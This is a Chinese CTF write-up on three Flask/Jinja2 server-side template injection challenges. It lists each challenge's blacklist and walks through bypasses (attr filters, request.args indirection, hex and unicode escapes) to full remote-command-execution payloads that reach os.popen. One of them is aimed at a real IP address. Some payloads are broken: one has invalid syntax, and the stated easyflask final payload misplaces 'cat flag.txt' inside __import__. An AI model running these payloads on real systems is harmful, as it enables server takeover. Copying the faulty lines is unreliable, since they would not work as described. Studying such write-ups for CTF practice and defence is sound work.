最近做了3道ssti,所以这里总结一下这3道ssti的一些绕过技巧,并且详细总结一下这3题的解题过程
ssti(服务器模板注入)
flask中有个很鲜明的特征就是服务器模板,大概就是把用户输入的回显到web网页上。
然而,有用户交互的地方(输入/输出),就一定会存在大大小小的安全风险(如:sql注入,xss,ssrf等都是用户可控输入引发的安全风险)
在存在ssti漏洞的地方输入{{1+1}},就会看到回显2,这就简单的ssti漏洞,我们还可以构造更多恶意数据,从而达到读取文件甚至getshell的目的
其中flask是python写的一个web服务器,所以在遇到SSTI漏洞的时候一般我们要构造一个python的poc链,然后执行python命令,最后getshell
更多关于ssti漏洞的文章Google上很多,感兴趣的可以去看看
下面从我最近做的3道ssti来看看如何绕过服务器的过滤从而拿到flag
easyflask
来源:UNCTF2020
题目映入眼帘的是一个登陆与注册的界面,直接注册admin/admin,
然后回到首页会回显路由/secret_route_you_do_not_know
(这里出题人的原意是爆破flask的SECRTE_KEY,然后修改session内容为admin,但是出题人的代码逻辑没写好导致可以直接注册admin账号)
进入页面后叫你guess一个数
这里看题目名字flask猜测存在ssti服务器模板注入漏洞的点
输入?guess={{7*7}}可以看到回显了49
发现这里存在SSTI漏洞,利用SSTI漏洞,我们可以执行python代码
接下来的思路是打开burpsuite的intuder模块fuzz一下看看过滤了哪些字符
经过fuzz发现这里的SSTI过滤了以下字符:
[ ] ' " _
那我们构造python链的时候就要考虑怎么绕过上述的字符了
如果没有任何过滤的话,我们构造的payload可能长这样:
().__class__.__bases__.__subclasses__.[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20flag.txt').read()")
解释一下payload的含义
其中()代表python中的一个元组,用点号就可以访问元祖这个类的其中一个属性,这里的__class__就是元组的其中一个属性
我们可以在python的console里面输入就可以很清楚的看到回显
然后再访问<class ‘tuple’>的一个属性__base__,这里就可以得到面向对象的最最重要的一个基类<class ‘object’>
这个object类就是所有类(包括你自定义的类的父类),通过这个类的属性__subclasses__就可以找到python里面所有的内置类,其中有的内置类就可以执行命令,比如这个环境里面的第166个类(warnings.catch_warnings),这个类有个eval内置方法就可以执行命令,接下来的任务就是绕过他的黑名单了
这里过滤的下划线可以用|attr(request.args.cla)
来绕过
过滤的单双引号用request.args.a
来绕过,并传递GET参数
过滤的大括号[]可以用.pop(1)或者__getitem__
来绕过,一定注意python中访问这些子类,还有属性,还有字典的键值的方式,不然很容易出错,大家可以多多动手试试!!
这里利用的链:
().__class__.__bases__.__subclasses__.[166](warnings.catch_warnings).__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20flag.txt').read()")
修改后的payload:
{{(((()|attr(request.args.cla)|attr(request.args.bas)|list).pop(0))|attr(request.args.sub)()).pop(166)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)(request.args.bui)|attr(request.args.geti)(request.args.ii)(request.args.hh)}}&cla=__class__&bas=__bases__&sub=__subclasses__&ini=__init__&glo=__globals__&bui=__builtins__&hh=__import__('os').popen('ls').read()&ii=eval&geti=__getitem__
这里我们先ls一下看看:
果然有回显,接下来把ls换成cat flag.txt就可以拿到我们鲜红的旗帜🚩了!
最终payload:
{{(((()|attr(request.args.cla)|attr(request.args.bas)|list).pop(0))|attr(request.args.sub)()).pop(166)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)(request.args.bui)|attr(request.args.geti)(request.args.ii)(request.args.hh)}}&cla=__class__&bas=__bases__&sub=__subclasses__&ini=__init__&glo=__globals__&bui=__builtins__&hh=__import__('cat flag.txt').popen('ls').read()&ii=eval&geti=__getitem__
[NCTF2020]你就是我的master吗
来源:南邮新生赛
F12查看源码,提示?name=master,遇到这种输入的情况肯定会试试ssti,?name={{7*7}}
回显了熟悉的49
然后fuzz一下看过滤了哪些东西:
' . _ class base subclasses request
其中过滤的单引号可以用双引号代替
点可以用[]代替
下划线可以用16进制代替
例如:_
可以换成 \x5F
关于python等16进制执行命令,大家可以在python2的console里面
>>> "7*7".encode("hex")
'372a37'
>>> eval("\x37\x2a\x37")
49
过滤的class等关键字也可以用16进制来绕过,当然,也可以通过简单的拼接来绕过
比如:
"\x5F\x5Fc"~"lass"~"\x5F\x5F"
which means:
"__class__"
根据这个思路,一步步找链
""["__class__"]["__bases__"][0]["__subclasses__"]()[166]["__init__"]["__globals__"]["__builtins__"]["eval"]("7*7")
最终发现这条链可以执行命令
找链的时候在subclasses后面看看有哪些类,一般可以执行命令的类都是什么popen、eval、file、catch_warnings啥的,可以注意一下这些类,多在网上找找
这里有个坑,就是在执行命令的时候不能用system函数
因为在flask里面执行system的时候返回的是状态码,也就是看不到回显,只会回显一些数字,所以要用popen,而且最好16进制编码一下,不然容易触发黑名单,还能避免很多大大小小的错误
eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29")
which means
eval("__import__('os').popen('ls').read()")
这条命令放在python里面运行就相当于执行了ls命令
payload打过去看见回显了wo_ta_niang_de_bu_shi_ni_de_fla9文件
再cat一下就看到flag了:
http://42.192.72.11:10002/?name={{""["\x5F\x5Fc"~"lass"~"\x5F\x5F"]["\x5F\x5Fb"~"ases"~"\x5F\x5F"][0]["\x5F\x5Fsubc"~"lasses"~"\x5F\x5F"]()[166]["\x5F\x5Fi"~"nit"~"\x5F\x5F"]["\x5F\x5Fg"~"lobals"~"\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["eval"]("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x77\x6f\x5f\x74\x61\x5f\x6e\x69\x61\x6e\x67\x5f\x64\x65\x5f\x62\x75\x5f\x73\x68\x69\x5f\x6e\x69\x5f\x64\x65\x5f\x66\x6c\x61\x39\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}
[安洵杯2020]normal-ssti
这道题,过滤了巨多东西:
%1d,%1e,%1e,%20,%1f,',*,+, , ,.,<,=,>,_,g,[,],\x,""连续会被过滤 ,{{连续会被过滤 ,request,session,set,for,config,if,slice,会被过滤
首先尝试一下普通的{{7*7}},因为被过滤了连续的{{,所以这里回显不了
那么只有用另一个方法了,在{% %}里面可以执行python命令,只要不报错就行,比如
{%print(123)%}
就能回显123
那么这里也是一样的思路,在print里面构造我们的python链,比如:
print("".__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
就能执行系统命令
那么,这里一样的需要绕过以上的过滤,怎么办呢
过滤的点号和方括号[],这里可以用|attr(“__class__”)来绕过,比如:
"".__class__.__base__
可以是
(""|attr("__class__"))|attr("__base__")
那么,整个一条链也是可以通过这样构造出来的
print(((((((((""|attr("__class__"))|attr("__base__"))|attr("__subclasses__"))()|attr(140))|attr("__init__"))|attr("__globals__")))|attr("get")("__builtins__"))|attr("get")("eval")("__import__('os').popen('ls').read()"))
这里注意一下,其中
['__builtins__']
应当是
|attr("get")("__builtins__")
而不仅仅是|attr("__builtins__")
["eval"]同理
还有个问题,下划线怎么绕过呢,这也是这道题最难的地方
上面也提到了用16进制绕过是行不通的,因为过滤了\x
但是,相同的思路,我们是不是可以用unicode来绕过呢
比如,我们把__class__换一下,构造:
print(((((((((""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))|attr("__base__"))|attr("__subclasses__"))()|attr(140))|attr("__init__"))|attr("__globals__")))|attr("get")("__builtins__"))|attr("get")("eval")("__import__('os').popen('ls').read()"))
可以看到有回显,看来成功乐!
在双引号里面的内容,同理,都可以用unicode编码
这样就可以绕过那些关键字的限制了
那么,最终的payload就很明确了:
就是把上面双引号里面的内容经过unicode编码就行啦!
print(((((((((""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"))()|attr(140))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029"))